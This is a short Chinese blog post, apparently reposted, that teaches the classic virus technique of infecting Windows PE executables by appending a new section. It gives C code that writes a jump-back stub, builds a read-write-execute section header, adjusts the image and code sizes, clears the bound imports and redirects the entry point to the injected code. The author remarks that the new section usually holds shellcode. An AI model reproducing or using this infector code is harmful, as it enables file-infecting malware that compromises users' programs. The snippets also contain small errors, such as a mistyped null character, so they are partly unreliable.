AddSection

来源:互联网 发布:现在在淘宝开店晚吗 编辑:程序博客网 时间:2024/06/10 04:23
 

PE感染,古老的话题!好久不玩感染,连最基本的添加新节的方式都迷糊了,遂巩固基本功,重新捡起来学习.
PE的那堆结构应该再熟悉不过了,略过.总结几个重点:

    ----------------------------------------------------------------------------
     NewSection.VirtualAddress   ┐
     NewSection.Misc.VirtualSize ┘定位 内存中 下个节的地址

     NewSection.SizeOfRawData      ┐
     NewSection.PointerToRawData ┘定位 磁盘中 下个节的地址

     OptionalHeader.SizeOfImage - 内存中整个PE的大小
     OptionalHeader.SizeOfCode   - 磁盘中整个代码块的大小
    ----------------------------------------------------------------------------

就下面几步,别人问你最基本的病毒感染方式时,你可别答漏了哦:
    ──────
      ︳ sudami ︳
      ︳08/08/28 ︳
      ──────

1.增加新节 - 定位到文件的最后,写入新节的内容length,末尾要增加5字节数据"jmp OEP"
    BYTE jmp = 0xE9;
    OEP = OEP-(NewSection.VirtualAddress+length)-5;
    fwrite(&jmp, sizeof(jmp), 1, newfile);
    fwrite(&OEP, sizeof(OEP), 1, newfile);

计算length在文件中的对齐大小,剩余部分填0
    for(i=0;i<alig(length,FILE_ALIG)-length-5;i++) {
    fputc('/0',newfile);
    }

2.增加新节表 - 有5处要填写的地方:
节表名、该节的磁盘偏移量、该节的磁盘大小、该节对齐后的内存大小、该节属性

    strcpy((char*)NewSection.Name,".sudami");
    NewSection.PointerToRawData = LastSectionTable.PointerToRawData+LastSectionTable.SizeOfRawData;
    NewSection.SizeOfRawData = alig(length,FILE_ALIG);
    NewSection.Misc.VirtualSize = length;
    NewSection.Characteristics = 0xE0000020; //新区块可读可写可执行

3.最后该修正可选头中的几个参数值了:
    int nNewImageSize = NThea.OptionalHeader.SizeOfImage + alig(length,SECTION_ALIG);
    int nNewSizeofCode = NThea.OptionalHeader.SizeOfCode + alig(length,FILE_ALIG);
    // 绑定输入,还是修改下比较好
    NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0;
    NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0;
    NThea.OptionalHeader.SizeOfCode   = nNewSizeofCode; // 修正磁盘中整个代码块的大小
    NThea.OptionalHeader.SizeOfImage = nNewImageSize;   // 修正内存中整个PE的大小
    NThea.FileHeader.NumberOfSections = nOldSectionNo+1; // 节表数加1
    NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress; // 修改OEP

OK,新节的内容多数时候是shellcode吧,一般很简单的.嘿嘿...

原创粉丝点击